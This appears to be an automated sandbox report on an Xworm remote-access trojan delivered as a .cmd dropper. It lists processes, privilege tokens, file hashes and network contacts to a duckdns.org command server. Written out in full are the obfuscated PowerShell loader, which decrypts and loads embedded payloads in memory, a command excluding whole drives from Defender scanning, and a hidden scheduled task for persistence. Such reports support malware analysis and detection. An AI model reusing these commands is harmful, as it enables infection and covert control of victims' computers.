C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\SC3')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 ivmsgauzt84tgksuw6an6cht0am8iiux0jz.duckdns.org udp
CO 186.169.73.205:7772 ivmsgauzt84tgksuw6an6cht0am8iiux0jz.duckdns.org tcp
US 8.8.8.8:53 205.73.169.186.in-addr.arpa udp
CO 186.169.73.205:7772 ivmsgauzt84tgksuw6an6cht0am8iiux0jz.duckdns.org tcp
US 8.8.8.8:53 105.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 129.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 67.112.168.52.in-addr.arpa udp

Files

memory/2856-0-0x00007FFA8F233000-0x00007FFA8F235000-memory.dmp

memory/2856-1-0x000001C0FB6E0000-0x000001C0FB702000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjts5vug.b3o.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2856-11-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2856-12-0x000001C0FBAD0000-0x000001C0FBB14000-memory.dmp

memory/2856-13-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2856-14-0x000001C0FBBA0000-0x000001C0FBC16000-memory.dmp

memory/2928-24-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2928-25-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2928-26-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2928-29-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

memory/2856-30-0x000001C0FBAA0000-0x000001C0FBAB2000-memory.dmp

memory/2856-31-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp

memory/2856-32-0x00007FFAACCC0000-0x00007FFAACD7E000-memory.dmp

memory/2856-33-0x000001C0FBAB0000-0x000001C0FBAD0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0304fd0d0b7ecfc8fb5e3e7bfadafc19
SHA1 474681b159d03d887725c6badd41f60817edd2fd
SHA256 646f5f55afe7f38bd743af7b26a3d8ffee5f911ed80d8e76706512d187f89c47
SHA512 4445bcb78660379bc4a31e4e32e14206d6e9e03acc71364c2befe3370727ec58544318a4597a64ea2dbddcefaa20bde22b533f909f922e87f8dde5662456096b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 e4de99c1795fd54aa87da05fa39c199c
SHA1 dfaaac2de1490fae01104f0a6853a9d8fe39a9d7
SHA256 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457
SHA512 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

C:\Users\Admin\AppData\Roaming\SC3.cmd

MD5 aebbb92d1f67cddf37f996695175153e
SHA1 8706b8f0d37fb05aa70f32d78c3d8469b64c7c27
SHA256 2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7
SHA512 60e261b245fb23c75cd7fc0e507daa3e6f39f7f86261622ca90fd21dafda481abd0d80d7befe01ebe31a3f25485df298445662dfb8041fa0e607c85c31425ce6

memory/4552-91-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp

memory/4552-92-0x00007FFAACCC0000-0x00007FFAACD7E000-memory.dmp

memory/2856-93-0x00007FFA8F230000-0x00007FFA8FCF1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ab9792f22914fd99325a982667e1a73b
SHA1 be188ca4d78c105c49924163a45a682af236eea5
SHA256 72ceceeb222e2e6232adbb82168a6b26cb9dafda2c6c77af9e69e65b4d4fafa2
SHA512 f73a1eb7a859bb6c17e139b34c7af286a68674fba23caca65d859b4ee43ef79877cc4d06bdede60cdeedf9b54674b04a2b05da992e6eb7ba8d022d6a9b960ee7

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 215979b953f93d439e960b6e0dfcb1e1
SHA1 21fb245b06954a8cefb9efb00b07e61638147076
SHA256 4e16ea6cd5d32e51d9a6e16d2d98d0706206bbdb38bfa6c43bff6ef60514c9f9
SHA512 0a93ce25fb0384df3a14f6377a2778e7ad155d268cd55e605e25f86f449618ff52cdb9483503515e91c2b31d3330e3048469ed2cb5da115d7647cb9e13a3e13b

memory/4552-127-0x000001E1FB940000-0x000001E1FB950000-memory.dmp

memory/4552-129-0x000001E1FBA50000-0x000001E1FBA5C000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-11 14:29

Reported

2024-06-11 14:36

Platform

win7-20240221-en

Max time kernel

117s

Max time network

117s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2512 wrote to memory of 868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 868 wrote to memory of 2392 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 868 wrote to memory of 2392 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 868 wrote to memory of 2392 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 868 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 868 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 868 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network

N/A

Files

memory/2332-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

memory/2332-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

memory/2332-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2332-6-0x0000000002860000-0x0000000002868000-memory.dmp

memory/2332-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2332-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2332-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2332-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

memory/2332-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-11 14:29

Reported

2024-06-11 14:36

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

52s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2172 wrote to memory of 3212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2172 wrote to memory of 3212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3212 wrote to memory of 2180 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3212 wrote to memory of 2180 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3212 wrote to memory of 5004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3212 wrote to memory of 5004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 2644 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 2644 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 4480 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 4480 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 2160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 2160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 4820 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 5004 wrote to memory of 4820 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 4820 wrote to memory of 2080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4820 wrote to memory of 2080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2080 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2080 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2080 wrote to memory of 1688 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 1688 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 3600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 3600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 4464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 4464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 4152 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 4152 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 1936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1688 wrote to memory of 1936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function 